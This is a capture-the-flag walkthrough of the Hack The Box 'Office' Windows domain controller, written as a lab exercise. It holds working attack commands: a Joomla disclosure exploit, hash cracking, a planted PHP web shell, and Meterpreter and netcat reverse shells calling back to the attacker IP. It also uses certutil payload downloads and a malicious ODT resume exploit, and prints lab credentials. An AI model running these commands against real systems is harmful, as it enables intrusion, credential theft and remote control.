Office



IP: 10.129.53.84

Info Gathering

Initial Setup

| <pre># Make directory to save files mkdir ~/HTB/Boxes/Office cd ~/HTB/Boxes/Office</pre> | |
|--|--|
| <pre># Open a tmux session tmux new -s Office</pre> | |
| <pre># Start logging session (Prefix-Key) CTRL + b, SHIFT + P</pre> | |
| <pre># Connect to HackTheBox OpenVPN sudo openvpn /etc/openvpn/client/lab_tobor.ovpn</pre> | |
| <pre># Create Metasploit Workspace sudo msfconsole workspace -a Office workspace Office setg LHOST 10.10.14.88 setg LPORT 1337 setg RHOST 10.129.53.84 setg RHOSTS 10.129.53.84 setg SRVHOST 10.10.14.88 setg SRVPORT 9000 use multi/handler</pre> | |

Enumeration

Add enumeration info into workspace
db_nmap -sC -sV -0 -A 10.129.53.84 --open -T5 -oN Office.nmap

Hosts

| Hosts | | | | | | |
|--------------|-----------|------------|--------------|---------------|-------|---------|
| address | mac —— | name —— | os_name | os_flavor | os_sp | purpose |
| 10.129.53.84 | | office.htb | Windows 2022 | | | server |

Services

| Services | | | | | |
|--------------|------|-------|--------------|-------|--|
| host | port | proto | name | state | info |
| 10.129.53.84 | 53 | tcp | domain | open | Simple DNS Plus |
| 10.129.53.84 | 80 | tcp | http | open | Apache httpd 2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28 |
| 10.129.53.84 | 88 | tcp | kerberos-sec | open | Microsoft Windows Kerberos server time: 2024-02-25 00:28:48Z |
| 10.129.53.84 | 139 | tcp | netbios-ssn | open | Microsoft Windows netbios-ssn |
| 10.129.53.84 | 389 | tcp | ldap | open | Microsoft Windows Active Directory LDAP Domain: office.htb0. |
| 10.129.53.84 | 443 | tcp | ssl/http | open | Apache httpd 2.4.56 OpenSSL/1.1.1t PHP/8.0.28 |
| 10.129.53.84 | 445 | tcp | microsoft-ds | open | |
| 10.129.53.84 | 464 | tcp | kpasswd5 | open | |
| 10.129.53.84 | 593 | tcp | ncacn_http | open | Microsoft Windows RPC over HTTP 1.0 |
| 10.129.53.84 | 636 | tcp | ssl/ldap | open | Microsoft Windows Active Directory LDAP Domain: office.htb0. |
| 10.129.53.84 | 3268 | tcp | ldap | open | Microsoft Windows Active Directory LDAP Domain: office.htb0. |
| 10.129.53.84 | 3269 | tcp | ssl/ldap | open | Microsoft Windows Active Directory LDAP Domain: office.htb0. |

Gaining Access

In my nmap results I am able to see the DNS name is DC.office.htb and the domain is office.htb I added them to my hosts file

Edit file
sudo vim /etc/hosts
Add line
10.129.53.84 dc.office.htb office.htb

Screenshot Evidence



On port 80 I see the website is **Joomla** running on **Apache 2.4.56** and **PHPv8.0.28** I also see the enumeration of the robots.txt file on the site which lists sites it does not want returned from bots on the web

Screenshot Evidence

```
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1
| http=robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
| _/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
| _http-generator: Joomla! - Open Source Content Management
| _http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
```

Using those links I discover the login page LOGIN PAGE: <u>http://office.htb/administrator/</u> Screenshot Evidence





C. Joomla! Documentation C Joomla! News

I opened the Documentation Link "Joomla Documentation" LINK: https://github.com/joomla/joomla-cms

I discovered that this is using Joomla CMS. I want to next discover what version it is GITHUB SOURCE CODE: https://github.com/joomla/joomla-cms **Screenshot Evidence**

ne last stable version of Joomla 3. Support ended on the 17t

Info on all Joomla! CMS Versions

Technical requirements ⁶ for Joomla!

Find out what's new in Joomla! CMS 4.4

Find out what's new in Joomla! CMS 5.0

ake an extended test drive and build your own free Joomla! website

tys use a supported version, read our release and support cycle page.

Download Joomla!

I browsed the issues in GitHub looking for a possible identifier and found an interesting comment saying "the joomla.xml file provides info about the installable. REFERENCE: https://github.com/joomla/joomla-cms/issues/38702



<u>@HLeithner</u> actually you don't have to rely on conventions, read the zip file, read the Joomla.xml or anything else that provides info about the installable and act on real data not on clumsy conventions

I searched GitHub and Joomlas documentation for Joomla.xml and discovered its location in Joomlas documents **Screenshot Evidence**

Advertisement

Re: /administrator/manifests/files/joomla.xml

by sudo-web » Fri Mar 04, 2016 8:15 pm

A XML file is a in the view of your webserver just a file just like an image nothing that can be handled by Joomla! itself, but you several options.

If you are the only one or only a few people need access to the adminis

I was able to find the version information at that link REFERENCE: <u>http://office.htb/administrator/manifests/files/joomla.xml</u> Screenshot Evidence

| This XML file does not appear to have any style information associat |
|---|
| <pre>- <extension method="upgrade" type="file"> <name>files_joomla</name> <author>Joomla! Project</author> <authoremail>admin@joomla.org</authoremail> <authorurl>www.joomla.org</authorurl> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> copyright>(C) 2019 Open Source Matters, Inc. clicense> GNU General Public License version 2 or later; see LICENSE.tx <version>4.2.7</version> <creationdate>2023-01</creationdate> <description>FILES_JOOMLA_XML_DESCRIPTION </description></extension></pre> |
| |

I ran a DuckDuckGo search for "Joomla exploit" and came across CVE-2023-23752 a Code Execution vulnerability **Screenshot Evidence**



I ran a search for "cve-2023-23752 poc" for a Proof of Concept and found a few. The first one I looked at written in python required more familiarity than I had at the time so I went to the next one I found

REFERENCE: https://github.com/Acceis/exploit-CVE-2023-23752.git

I downloaded the exploit and set up a virtual python env to use it in and viewed the help message for it

```
# Download Exploit
git clone https://github.com/Acceis/exploit-CVE-2023-23752.git
cd exploit-CVE-2023-23752/
bundle install # Install the gem requirements
# Run Exploit
ruby exploit.rb http://office.htb:80
```

Screenshot Evidence

```
(tobor kali)-[~/HTB/Boxes/Office/exploit-CVE-2023-23752]
  💲 ruby exploit.rb http://office.htb:80
[474] Tony Stark (Administrator) - Administrator@holography.htb - Super Users
Site name: Holography Industries
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false
DB type: mysqli
DB host: localhost
DB user: root
DB password: H0l0grams4reTakIng0Ver754!
DB name: joomla_db
DB prefix: if2tx_
DB encryption 0
This returned a username and password for MariaDB
```

USER: root

PASS: H0lOgrams4reTakIng0Ver754!

I used Metasploits module for Kerberos user enumeration to see if I could find more usernames

```
# Metasploit Commands
use auxiliary/gather/kerberos_enumusers
set DOMAIN office.htb
set RHOSTS 10.129.53.84
set USER_FILE /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
run -j
```

This returned a few usernames to work with **Screenshot Evidence**

| <u>msf6</u> auxiliary(gather/kerberos_enumusers) > creds Credentials | | | | | | | | |
|--|--|--|---|---------|--|--|--|--|
| host | origin | service | public | private | realm | | | |
| 10.129.53.84 10.129.53.84 10.129.53.84 10.129.53.84 10.129.53.84 | 10.129.53.84 10.129.53.84 10.129.53.84 10.129.53.84 10.129.53.84 | 88/tcp (kerberos) 88/tcp (kerberos) 88/tcp (kerberos) 88/tcp (kerberos) | administrator dwolfe ewhite etower | | OFFICE.HTB OFFICE.HTB OFFICE.HTB OFFICE.HTB | | | |

I checked for reused passwords against the SMB port which returned a successful result for dwolfe His creds did not work with WinRM or LDAP

```
# Metasploit Commands
use auxiliary/scanner/smb/smb_login
set SMBDomain office.htb
set SMBPass H0l0grams4reTakIng0Ver754!
set USER_FILE user.list
run -j
```

USER: dwolfe **PASS**: H0lOgrams4reTakIng0Ver754!

Screenshot Evidence

| msf | <u>6</u> auxiliary(scanner/sm | b/smb_login) > | |
|-----|-------------------------------|--|-----|
| [*] | 10.129.53.84:445 | - 10.129.53.84:445 - Starting SMB login bruteforce | |
| [-] | 10.129.53.84:445 | - 10.129.53.84:445 - Failed: 'office.htb\administrator:H0l0grams4reTakIng0Ver754 | !', |
| [+] | 10.129.53.84:445 | - 10.129.53.84:445 - Success: 'office.htb\dwolfe:H0l0grams4reTakIng0Ver754!' | |
| [-] | 10.129.53.84:445 | 10.129.53.84:445 - Failed: 'office.htb\ewhite:H0l0grams4reTakIng0Ver754!', | |
| [-] | 10.129.53.84:445 | 10.129.53.84:445 - Failed: 'office.htb\etower:H0l0grams4reTakIng0Ver754!', | |
| [*] | 10.129.53.84:445 | - Scanned 1 of 1 hosts (100% complete) | |

I listed the SMB shares using the password and found a non-standard share called "SOC Anaylsis" that I listed the contents of

Commands Executed
smbclient -L //office.htb/ -U dwolfe -W office.htb --password="H0l0grams4reTakIng0Ver754!"
smbclient //office.htb/SOC\ Analysis -c 'recurse;ls' -U dwolfe -W office.htb -password="H0l0grams4reTakIng0Ver754!"

| <pre>(tobor@kali)-[~/HT \$ smbclient -L //off;</pre> | B/Boxes/C ice.htb/ | Office/exploit-CVE-2023-23752] -U dwolfe -W office.htbpassword="H0lOgrams4reTakIng(|
|--|------------------------------|--|
| Sharename | Туре | Comment |
| ADMIN\$ | Disk | Remote Admin |
| c\$ | Disk | Default share |
| IPC\$ | IPC | Remote IPC |
| NETLOGON | Disk | Logon server share |
| SOC Analysis | Disk | 5 |
| SYSVOL | Disk | Logon server share |
| Reconnecting with SMB1 | for wor | <proup listing.<="" pre=""></proup> |
| do_connect: Connection | to offic | ce.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) |
| Unable to consist with | CHIDA | |

Screenshot Evidence pcap file

| <pre>(tobor kali)-[~/HTB/Boxes/Office]</pre> | |
|--|--------------------------------------|
| └─\$ smbclient //office.htb/SOC\ Analysis - | -c 'recurse;ls' -U dwolfe -W office. |
| . D | 0 Wed May 10 11:52:24 2023 |
| DHS | 0 Wed Feb 14 02:18:31 2024 |
| Latest-System-Dump-8fbc124d.pcap A | 1372860 Sun May 7 17:59:00 2023 |
| 6265599 blocks of size 409 | 96. 1137843 blocks available |

I downloaded the file

```
# Download file
smbclient '//office.htb/SOC Analysis' -c 'prompt;recurse;mget *' -U dwolfe -W office.htb --
password='H0l0grams4reTakIng0Ver754!'
# Open Wireshark and load the file
wireshark Latest-System-Dump-8fbc124d.pcap &
```

| | | | | | | | | Late | est-Sy | stem· | Dump | -8fbc1 | 24d.p | ocap | | | | | | | | | | \bigcirc | | 8 |
|--------------------------------------|---|-----------------------|--|--|---|---|--|---|---------------------|-----------------------------|--|---|--|--|----------------------------------|----------------------------------|----------------------------------|---|----------------------------------|----------------------------|---|--|---|--|----------------------|----------------------------|
| <u>F</u> ile | <u>E</u> dit | Vi | ew | <u>G</u> o | <u>C</u> aptu | ure | <u>A</u> nalyz | e <u>S</u> | tatisti | ics | Telep | ohony | <u> </u> | /irele | SS | <u>T</u> oo | ls | <u>H</u> elp | Þ | | | | | | | |
| Δ | | J | 0 | ŗ. | | × | Ċ | ۹ | ÷ | ÷ | ¢ | ٠ | ≁ | | | | ÷ | • | | • | ł | | | | | |
| | pply a | disp | lay fi | lter . | <ct< th=""><th>rl-/></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th>1</th><th></th><th>·]+</th><th>,</th></ct<> | rl-/> | | | | | | | | | | | | | | | | | 1 | | ·]+ | , |
| No. | | Tim | e | | | Sour | ce | | | | De | stina | tion | | | | | Prot | ocol | l L | engti | h Inf | o | | | |
| * | 1 2 3 4 5 6 7 8 9 10 | | 0000 0309 0310 0314 0358 0448 0521 0521 0555 0631 | 00 92 50 27 97 93 01 23 38 19 | | 10.1 10.1 10.1 10.1 10.1 204 10.1 10.1 10.1 | 250.0 250.0 250.0 250.0 250.0 250.0 .79.1 250.0 250.0 250.0 | .30 .30 .1 .30 .30 97.2 .30 .30 .30 | :03 | | 10 10 10 20 23 10 20 20 20 10 |).250).250).250).250).250).250).250).250).250).250).250 |).0.).0.).0.).19).19).19).19).19).19 | 1 1 30 7.2(255.2 30 7.2(07.2(30 | 93 250 93 93 | | | DNS DNS DNS TCP SSD TCP TCP TLS DNS | P v1. | 2 | 9 10 10 9 6 21 6 5 57 13 | 0 St 8 St 8 St 0 St 6 59 7 M- 6 44 4 59 1 Cl 8 St | and and and 252 SEA 3 → 252 ien and | ard ard ard ard Ard S9: 59: t He ard | | |
| | 11 | 0.0 | 9690 | 05 | _ | 10.2 | 250.0 | .1 | | | 10 | .250 |).0. | 30 | | | | DNS | | | 10 | 8 St | and | ard | | |
| + Fr + Et + Ir + Us + Do | rame thern ntern ser D omain | 1: et ata Na | 90 D II, Prot gram me S | Src Src OCO Pro Syst | s on : PC l Ve otoco em () | wir SSys rsio ol, quer | e (72 temte n 4, Src F y) | 20 DJ ec_34 Src: Port: | 10: 10: 58: | , 90 :9e .250 551, | 9 Dy1 (08 9.0.3 | | 00 10 20 30 40 50 | 50 00 00 60 60 | 46 4c 01 00 73 29 | 50 42 e4 00 65 0f | 6C a1 b7 00 64 a0 | 08 00 00 67 00 | 78 00 35 01 65 00 | 98 80 96 93 80 | 00 11 38 61 4e 00 | 27 00 16 2d 45 00 | 34 90 5c 30 54 00 | 08 0a 3d 30 00 | 9e fa 0b 30 | 08 00 01 33 41 |
| _ | | | - | | | | | | | | | | | | | | | | | | * | _ | | | | |
| • | 🛛 La | test | -Syst | em-l | Dump | -8fbo | :124d. | pcap | | | | Packe | ets: 1 | 1947 | • Dis | play | ed: | 1947 | 7 (10 | 0.0 | %) | Pro | file: I | Defa | ult | |
| [1] | (<mark>tob</mark> wir 462 | ore esh 08 | ə <mark>ka</mark> ark | li)- Lat | [~/ test | HTB/ -Sys | Boxe stem- | • s/0 •Dum | ffic p-8f | e] fbc1 | 124d | .pca | ip (| 8 | | | | | | | | | | | | |

I searched for Idap looking for possible bind requests that have clear text credentials without success I searched for kerberos requests for possible hashes and found one for tstark

| | erberos | | | | |
|---------------------------|--|---|---|--|--|
| No. | Time | Source | Destination | Protocol | Length Info |
| | 1908 7.682483 | 10.250.0.41 | 10.250.0.30 | KRB5 | 245 AS-REQ |
| | 1917 7.803090 | 10.250.0.41 | 10.250.0.30 | KRB5 | 323 AS-REQ |
| | | | | | |
|) E)])] () [| thernet II, Src: F nternet Protocol V ransmission Contro erberos | PCSSystemtec_a4:0 /ersion 4, Src: 1 ol Protocol, Src | 08:70 (08:00:27:a4:08:70 10.250.0.41, Dst: 10.250 Port: 33550, Dst Port: | 9), Dst: PCSS 9.0.30 88, Seq: 1, | Systemtec_34:d8:9e (Ack: 1, Len: 257 |
| | Record Mark: 253 0 .000 0000 0000 as-req pvno: 5 msg-type: krb- * padata: 2 item * PA-DATA pA-E * padata-typ * padata-typ | bytes 0000 0000 0000 : as-req (10) s NC-TIMESTAMP be: pA-ENC-TIMEST value: 3041a00302 : eTYPE-AES256-C1 r: a16f4806da0576 AC-REQUEST be: pA-PAC-REQUES value: 3005a00301 de-pac: True | = Reserved: No 1111 1101 = Record Leng 20112a23a0438a16f4806da0 TS-HMAC-SHA1-96 (18) 50af63c566d566f071c5bb3 5T (128) L01ff | ot set th: 253 95760af63c566 5d0a41445941 | 6d566f071c5bb35d0a41 7613a9d67932a6735704 |
| | Padding: 0 → kdc-options: | 50800000 | | | |
| | Chame name-type: | kRB5-NT-PRINCIP ng: 1 item | AL (1) | | |
| | cnamesti realmi OFFIC | LING: USCATK | | | |
| | - sname | E.HIB | | | |

I right clicked on "cipher" and copied the value

I searched for john formats associated with krb5 and what the hash file should look like. I realized here that the encryption type is HMAC-SHA1 96

Commands Executed
john --list=formats --format=krb5
john --list=format-details --format=krb5* | grep HMAC-SHA1

I searched hashcat and was able to return a result. Hashcat will see this etype 18

Screenshot Evidence packet capture reference padata-value. 3041a003020112a23a0430a10140000a0 etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)

cipher: a16f4806da05760af63c566d566f071c5bb35

Command Executed
hashcat --example-hashes | grep 'etype 18' -A19 -B1

Using the formats in the above results I created my hash file





Screenshot Evidence password cracked

```
-(toborskali)-[~/HTB/Boxes/Office]
└─$ hashcat -m 19900 tstark.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i7-8700 CPU @ 3.20GHz, 1436/293
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0×0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Bvte
* Not-Iterated
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes....: 139921001
* Kevspace .. : 14344385
* Runtime ...: 1 sec
$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a4144594176
Session..... hashcat
Status....: Cracked
Hash.Mode.....: 19900 (Kerberos 5, etype 18, Pre-Auth)
Hash.Target.....: $krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c56 ... 86f5f
                              10.31.45 2024 (2
```

USER: tstark **PASS**: playboy69 I was able to access the SMB server with these credentials but saw nothing new I was able to use these credentials to access the Joomla administrator login as Administrator

USER: administrator **PASS**: playboy69

Screenshot Evidence

| 2 Post Installation Messages 🖸 Holography | Industries 😢 User Menu 🗸 |
|--|--------------------------|
| | Signed in as Tony Stark |
| y updates by its developers. The Joomla! Project | 💄 Edit Account |
| | Accessibility Settings |
| PHP 8.1 ready please enable PHP 8.1 on your sit | ப் Log out |
| | |
| efore we need anonymous data from your site to | better understand 🗙 |
| I now want to create a page that executes a reverse shell using PHP I started a listener | |
| <pre># Commands Executed nc -lvnp 1337</pre> | |
| l did this by going to "System" in the left-hand pane Clicking "Site Templates" I clicked "Cassiopeia Details and Files" | |
| I clicked "Error.php" in the left hand pane I copied the contents of p0wny shell and saved it as Error.php | |
| # Commands Executed to Copy File Contents | |

cat /usr/share/webshells/php/p0wny/shell.php | xclip -selection clipboard

| 🗙 Joomla!' | ✓ Templates: Customise (Cassiopeia) | | | | | | |
|-----------------------------|--|--|--|--|--|--|--|
| Save Save & Close | Z Rename File X Delete File X Close File | | | | | | |
| File saved. | | | | | | | |
| Editor Create Overrides Up | valated Files Template Description | | | | | | |
| Editing file */templates/ca | assiopeia/error.php* in template "cassiopeia". | | | | | | |



I then visited my error page which gained a web shell LINK: <u>http://office.htb/templates/cassiopeia/Error.php</u>

Screenshot Evidence

```
web_account@DC:C:\xampp\htdocs\joomla\templates\cassiopeia# hostname
DC
web_account@DC:C:\xampp\htdocs\joomla\templates\cassiopeia# whoami
office\web_account
web_account@DC:C:\xampp\htdocs\joomla\templates\cassiopeia# ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : .htb
IPv4 Address. . . . . . . . . : 10.129.53.84
Subnet Mask . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . : 10.129.0.1
```

The shell is short lived so I used Metasploits web_devliery module to generate a payload The PHP executable I found in C:\xamp\php\php.exe

```
# Metasploit Commands
use multi/script/web_delivery
set LHOST 10.10.14.88
```

set LPORT 1336
set SRVHOST 0.0.0.0
set SRVPORT 9000
set target Regsvr32
set payload windows/x64/meterpreter/reverse_tcp
run -j

This generated a PHP payload. I placed the full path to the PHP executable to execute what is needed and grab the shell

```
# Command Executed in the web shell
regsvr32 /s /n /u /i:http://10.10.14.88:9000/0mJXVy01.sct scrobj.dll
# You may need to enter a more stable process
executed -H -f cmd
migrate <pid number>
```

Screenshot Evidence Executed Shell



Screenshot Evidence Caught Shell



I am going to now upload Runascs to the target and use it to elevate my privileges to tstark with a meterpreter payload

On my attack machine I generated a payload and host it on web server

```
# Commands Executed
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.88 LPORT=1335 -a x64 -f exe -o /var/www/
html/tobor.exe
sudo systemctl start apache2.service
```

I started a Metasploit listener to catch the shell

```
# Metasploit Commands
use multi/handler
set LHOST 10.10.14.88
set LPORT 1335
set payload windows/x64/meterpreter/reverse_tcp
run -j
```

On the target machine I downloaded tobor.exe and RunasCs.exe **RESOURCE**: <u>https://github.com/antonioCoco/RunasCs</u>

On target machine download the payload and runascs.exe
cd C:\Windows\System32\spool\drivers\color
certutil -urlcache -f http://10.10.14.88/RunasCs.exe RunasCs.exe
certutil -urlcache -f http://10.10.14.88/tobor.exe tobor.exe
Elevate Privileges
.\RunasCs.exe tstark playboy69 "C:\\Windows\\System32\\spool\\drivers\\color\\tobor.exe"

I was then able to read the user flag

```
# Commands Executed
type C:\Users\tstark\Desktop\user.txt
#RESULTS
8d0657a42e49a2da5e79cba69cb943c6
```

Screenshot Evidence

| C:\Windows\system32>whoami whoami office\tstark |
|--|
| C:\Windows\system32>hostname hostname DC |
| C:\Windows\system32>ipconfig ipconfig |
| Windows IP Configuration |
| Ethernet adapter Ethernet0: |
| Connection-specific DNS Suffix . : .htb IPv4 Address 10.129.53.84 Subnet Mask 255.255.0.0 Default Gateway 10.129.0.1 |
| C:\Windows\system32>type C:\Users\tstark\Desktop\user.txt type C:\Users\tstark\Desktop\user.txt 8d0657a42e49a2da5e79cba69cb943c6 |

USER FLAG: 8d0657a42e49a2da5e79cba69cb943c6

PrivEsc

In my enumeration I discovered another web server on port 8083 is open with PID 4352

Commands Executed
powershell
Get-NetTcpConnection -State Listen
Get-Process -Id 4352

| PS C:\Windows\system32> Get-Process -Id 4352 Get-Process -Id 4352 | | | | | | | |
|--|--------|-------|-------|--------|--------|--------|-------------|
| Handles | NPM(K) | PM(K) | WS(K) | CPU(s) | Id | SI | ProcessName |
| 194 | 30 | 9912 | 20120 | | 4352 | 0 | httpd |

I uploaded a proxy tool to access that site

```
# Meterpreter Command Executed
upload /var/www/html/chisel_1.9.1_windows_amd64.exe C:\\Windows\\System32\\spool\\drivers\\color\\chisel.exe
```

Screenshot Evidence

```
meterpreter > upload /var/www/html/chisel_1.9.1_windows_amd64.exe C:\\Windows\\System32\\
[*] Sending stage (201798 bytes) to 10.129.53.84
spool\\drivers\\color\\chisel.exe
[*] Uploading : /var/www/html/chisel_1.9.1_windows_amd64.exe → C:\Windows\System32\spool\drivers\\color\\chisel.exe
[*] Uploaded 8.00 MiB of 8.59 MiB (93.14%): /var/www/html/chisel_1.9.1_windows_amd64.exe → C:\Windows\System32\spool\drivers\\color\\chisel.exe
[*] Uploaded 8.00 MiB of 8.59 MiB (93.14%): /var/www/html/chisel_1.9.1_windows_amd64.exe → C:\Windows\System32\spool\drivers\\System32\spool\\
[*] Uploaded 8.59 MiB of 8.59 MiB (100.0%): /var/www/html/chisel_1.9.1_windows_amd64.exe → C:\Windows\System32\spool\\drivers\\System32\spool\\drivers\\System32\spool\\drivers\\System32\spool\\drivers\\System32\spool\\drivers\\System32\spool\\drivers\\System32\spool\\drivers\\System32\spool\\drivers\\System32\spool\\drivers\\System32\\System32\\System32\\Spool\\drivers\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\S
```

I started a server listener on my attack machine

```
# Command Executed
sudo /var/www/html/chisel server --port 1080 --reverse
```

Screenshot Evidence

| (tobor® | kali)-[~/ | /HTB/Boxe | es/Office | •] | | |
|--------------|------------|-----------|-----------|-----------|--------|----------|
| └─\$ sudo /\ | /ar/www/ht | tml/chise | el serven | rport | 1080 | reverse |
| 2024/02/24 | 11:57:18 | server: | Reverse | tunnell | ing er | nabled |
| 2024/02/24 | 11:57:18 | server: | Fingerpi | int 33:1 | b8:d2 | 9e:79:d0 |
| 2024/02/24 | 11:57:18 | server: | Listenir | ng on 0.(| 0.0.0 | :1080 |

I connected to it from the attack machine

```
# Commands Executed PowerShell
.'C:\\Windows\\System32\\spool\\drivers\\color\\chisel.exe' client 10.10.14.88:1080 R:8083:127.0.0.1:8083
# Commands Executed Cmd
C:\\Windows\\System32\\spool\\drivers\\color\\chisel.exe client 10.10.14.88:1080 R:8083:127.0.0.1:8083
```

Screenshot Evidence

```
C:\Windows\system32>C:\\Windows\\System32\\spool\\drivers\\color\\chis
C:\\Windows\\System32\\spool\\drivers\\color\\chisel.exe client 10.10.
2024/02/24 19:59:36 client: Connecting to ws://10.10.14.88:1080
2024/02/24 19:59:37 client: Connected (Latency 61.8421ms)
```

I am now able to access the site



I attempted to upload my resume to the site and returned a required file type error LINK: <u>http://127.0.0.1:8083/resume.php</u> Screenshot Evidence

Job Application Submission

X Accepted File Types : Doc, Docx, Docm, Odt!

I checked the version of LibreOffice on the machine and discovered it is version 5.2.6.2

Command Executed type C:\Program Files\LibreOffice 5\program\version.ini

C:\Program Files\LibreOffice 5>type program\version.ini type program\version.ini [Version] AllLanguages=en-US af am ar as ast be bg bn bn-IN bo br br t ja ka kk km kmr-Latn kn ko kok ks lb lo lt lv mai mk ml st sv sw-TZ ta te tg th tn tr ts tt ug uk uz ve vec vi xł BuildVersion= buildid=a3100ed2409ebf1c212f5048fbe377c281438fdc ExtensionUpdateURL=http://updateexte.libreoffice.org/Exter MsiProductVersion=5.2.6.2 ProductCode={2B69F1E6-C4D6-44A2-AFAD-4BD0571D254E} Reference00oMajorMinor=4.1

I searched LibreOffices security vulnerabilities for a CVE that would allow me to execute a payload if someone opens the document **SOURCE**: <u>https://www.libreoffice.org/about-us/security/advisories/</u>

CVE-2023-2255 stood out REFERENCE: <u>https://www.libreoffice.org/about-us/security/advisories/CVE-2023-2255</u> Screenshot Evidence

About Us / Security / Security Advisories

Security Advisories

Addressed in LibreOffice 7.6.4/7.5.9

CVE-2023-6186 Link targets allow arbitrary script execution

Addressed in LibreOffice 7.6.3/7.5.9

CVE-2023-6185 Improper input validation enabling arbitrary Gstreamer pipeline injection

Addressed in LibreOffice 7.4.7/7.5.3

CVE-2023-2255 Remote documents loaded without prompt via IFrame

There is a Proof of Concept exploit for Libre Office ODT files that may grant command executed I generated an odt file to catch a reverse shell using the below tool **RESOURCE**: <u>https://github.com/elweth-sec/CVE-2023-2255.git</u>

Command Executed git clone https://github.com/elweth-sec/CVE-2023-2255.git cd CVE-2023-2255/ python3 CVE-2023-2255.py --cmd 'C:\Temp\nc.exe 10.10.14.88 1339 -e cmd.exe' --output cmd.odt # Upload netcat to target using certutil certutil -urlcache -f http://10.10.14.88/nc64.exe C:\Temp\nc.exe # Meterpeter Way upload /var/www/html/nc64.exe C:\\Temp\\nc.exe

Screenshot Evidence



I started a listner

| <pre># Start netcat</pre> | listener |
|---------------------------|----------|
| nc -lvnp 1339 | |

I uploaded the malicious ODT file as my resume **Screenshot Evidence**

Job Application Submission

✓ Upload Successful!

After some time the machine opens the ODT file to establish a shell connection **Screenshot Evidence**

```
(tobor kali) - [~/HTB/Boxes/Office]
 └<mark>_$</mark> nc -lvnp 1339
listening on [any] 1339
connect to [10.10.14.88] from (UNKNOWN) [10.129.53.84] 61107
Microsoft Windows [Version 10.0.20348.2322]
 (c) Microsoft Corporation. All rights reserved.
C:\Program Files\LibreOffice 5\program>whoami
whoami
office\ppotts
C:\Program Files\LibreOffice 5\program>hostname
hostname
 DC
C:\Program Files\LibreOffice 5\program>ipconfig
ipconfig
Windows IP Configuration
 Ethernet adapter Ethernet0:
    Connection-specific DNS Suffix . : .htb
    IPv4 Address. .
                                       . : 10.129.53.84
    Subnet Mask . . .
                                       . : 255.255.0.0
    Default Gateway . .
                                       . : 10.129.0.1
C:\Program Files\LibreOffice 5\program>
I upgraded my session to a Meterpreter by generating a new payload and started a listener
```

```
# Commands Executed
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.88 LPORT=1338 -a x64 -f exe -o /var/www/
html/tobor.exe
# Metasploit Commands Executed
use multi/handler
set LHOST 10.10.14.88
set LPORT 1338
set payload windows/x64/meterpreter/reverse_tcp
run -j
```

I then uploaded the payload to the target and executed it

```
# Commands Executed
certutil -urlcache -f http://10.10.14.88/tobor.exe C:\\Temp\\shell.exe
C:\\Temp\\shell.exe
```

C:\Program Files\LibreOffice 5\program>C:\\Temp\\shell.exe C:\\Temp\\shell.exe

Screenshot Evidence Caught Meterpreter

| <u>msf6</u> | exploi | t(multi/handle | er) > sessio | ns | | | | |
|-------------|--------|--------------------------------|----------------------------|--|--------------|--|--------------------------------|--------------|
| Activ | e sess | ions | | | | | | |
| Id | Name | Туре | | Information | | Connection | | |
| 5 7 | — | meterpreter > meterpreter > | x64/windows x64/windows | OFFICE\tstark ଭି OFFICE\ppotts ଭି |) DC) DC | 10.10.14.88:1335 10.10.14.88:1338 | → 10.129.53.8 → 10.129.53.8 | 34 : 34 : |

I created a new cmd process and migrated into it for a stable connection



Screenshot Evidence



There is a user in C:\Users\ called web_account which I would bet has SeImpersonatePrivileges which can be used to elevate to SYSTEM with a Potato exploit

I viewed the version of MySQL being used which is 15.1 distribution 10.4.28-MariaDB



Screenshot Evidence

```
PS C:\xampp\mysql\bin> .\mysql.exe --version
.\mysql.exe --version
C:\xampp\mysql\bin\mysql.exe Ver 15.1 Distrib 10.4.28-MariaDB, for Win64 (AMD64),
```

To connect to the SQL server I started another Chisel connection by executing the below command on the target machine

